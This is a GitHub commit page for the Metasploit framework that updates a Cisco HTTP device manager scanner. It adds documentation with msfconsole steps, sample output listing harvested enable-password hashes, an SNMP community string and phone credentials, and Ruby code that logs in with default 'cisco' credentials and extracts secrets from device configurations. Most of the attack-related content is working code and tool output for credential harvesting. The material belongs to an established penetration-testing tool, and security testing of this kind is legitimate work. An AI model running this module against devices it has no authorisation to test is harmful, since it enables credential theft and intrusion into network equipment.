Permalink
Browse files

Land #10798, Cisco device manager update

  • Loading branch information...
jmartin-r7 committed Dec 3, 2018
2 parents 344ffb5 + b875a10 commit ab1bea1b22b29580e547d2fd2ec5b6aa44405082
@@ -0,0 +1,47 @@
## Description
This module scans for the presence of the HTTP interface for a cisco device and attempts to enumerate it using basic authentication.
## Vulnerable Application
Any Cisco networking device with the HTTP inteface turned on.
## Verification Steps
1. Enable the web interface on a cisco device `ip http server`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/http/cisco_device_manager```
4. Do: ```set RHOSTS [IP]```
5. Do: ```run```
## Options
**HttpUsername**
Username to use for basic authentication. Default value is `cisco`
**HttpPassword**
Password to use for basic authentication. Default value is `cisco`
## Scenarios
### Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4
```
msf5 > use auxiliary/scanner/http/cisco_device_manager
msf5 auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 auxiliary(scanner/http/cisco_device_manager) > set vebose true
vebose => true
msf5 auxiliary(scanner/http/cisco_device_manager) > run
[+] 2.2.2.2:80 Successfully authenticated to this device
[+] 2.2.2.2:80 Processing the configuration file...
[+] 2.2.2.2:80 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:80 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:80 SNMP Community (RO): public
[+] 2.2.2.2:80 ePhone Username 'phoneone' with Password: 111111
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -34,7 +34,7 @@ def cisco_ios_decrypt7(inp)
end
def cisco_ios_config_eater(thost, tport, config)
credential_data = {
address: thost,
port: tport,
@@ -88,7 +88,7 @@ def cisco_ios_config_eater(thost, tport, config)
shash = cisco_ios_decrypt7(shash) rescue shash
print_good("#{thost}:#{tport} Decrypted Enable Password: #{shash}")
store_loot("cisco.ios.enable_pass", "text/plain", thost, shash, "enable_password.txt", "Cisco IOS Enable Password")
cred = credential_data.dup
cred[:private_data] = shash
cred[:private_type] = :password
@@ -131,27 +131,27 @@ def cisco_ios_config_eater(thost, tport, config)
spass = cisco_ios_decrypt7(spass) rescue spass
print_good("#{thost}:#{tport} Decrypted VTY Password: #{spass}")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :password
create_credential_and_login(cred)
when /^\s*(password|secret) 5 (.*)/i
shash = $2.strip
print_good("#{thost}:#{tport} MD5 Encrypted VTY Password: #{shash}")
store_loot("cisco.ios.vty_password", "text/plain", thost, shash, "vty_password_hash.txt", "Cisco IOS VTY Password Hash (MD5)")
cred = credential_data.dup
cred[:private_data] = shash
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*password (0 |)([^\s]+)/i
spass = $2.strip
print_good("#{thost}:#{tport} Unencrypted VTY Password: #{spass}")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
@@ -212,7 +212,7 @@ def cisco_ios_config_eater(thost, tport, config)
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*interface tunnel(\d+)/i
tuniface = $1
@@ -222,24 +222,24 @@ def cisco_ios_config_eater(thost, tport, config)
print_good("#{thost}:#{tport} GRE Tunnel Key #{spass} for Interface Tunnel #{siface}")
store_loot("cisco.ios.gre_tunnel_key", "text/plain", thost, "tunnel#{siface}_#{spass}", "gre_tunnel_key.txt", "Cisco GRE Tunnel Key")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*ip nhrp authentication ([^\s]+)/i
spass = $1
siface = tuniface
print_good("#{thost}:#{tport} NHRP Authentication Key #{spass} for Interface Tunnel #{siface}")
store_loot("cisco.ios.nhrp_tunnel_key", "text/plain", thost, "tunnel#{siface}_#{spass}", "nhrp_tunnel_key.txt", "Cisco NHRP Authentication Key")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
#
# Various authentication secrets
@@ -280,6 +280,20 @@ def cisco_ios_config_eater(thost, tport, config)
create_credential_and_login(cred)
end
# This regex captures ephones from Cisco Unified Communications Manager Express (CUE) which come in forms like:
# username "phonefour" password 444444
# username test password test
# This is used for the voicemail system
when /^\s*username (?:")([^\s]+)(?:") password ([^\s]+)/i
user = $1
spass = $2
print_good("#{thost}:#{tport} ePhone Username '#{user}' with Password: #{spass}")
store_loot("cisco.ios.ephone.username_password", "text/plain", thost, "#{user}:#{spass}", "ephone_username_password.txt", "Cisco IOS ephone Username and Password")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*username ([^\s]+) (secret|password) (\d+) ([^\s]+)/i
user = $1
stype = $3.to_i
@@ -324,7 +338,7 @@ def cisco_ios_config_eater(thost, tport, config)
if stype == 5
print_good("#{thost}:#{tport} PPP Username #{suser} MD5 Encrypted Password: #{spass}")
store_loot("cisco.ios.ppp_username_password_hash", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password_hash.txt", "Cisco IOS PPP Username and Password Hash (MD5)")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
@@ -334,7 +348,7 @@ def cisco_ios_config_eater(thost, tport, config)
if stype == 0
print_good("#{thost}:#{tport} PPP Username: #{suser} Password: #{spass}")
store_loot("cisco.ios.ppp_username_password", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password.txt", "Cisco IOS PPP Username and Password")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
@@ -21,7 +21,7 @@ def initialize(info={})
'Name' => 'Cisco Device HTTP Device Manager Access',
'Description' => %q{
This module gathers data from a Cisco device (router or switch) with the device manager
web interface exposed. The USERNAME and PASSWORD options can be used to specify
web interface exposed. The HttpUsername and HttpPassword options can be used to specify
authentication.
},
'Author' => [ 'hdm' ],
@@ -33,6 +33,11 @@ def initialize(info={})
[ 'OSVDB', '444'],
],
'DisclosureDate' => 'Oct 26 2000'))
register_options(
[
OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),
OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])
])
end
def run_host(ip)
@@ -54,9 +59,10 @@ def run_host(ip)
if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/
print_good("#{rhost}:#{rport} Successfully authenticated to this device")
store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
# Report a vulnerability only if no password was specified
if datastore['PASSWORD'].to_s.length == 0
if datastore['HttpPassword'].to_s.length == 0
report_vuln(
{

0 comments on commit ab1bea1

Please sign in to comment.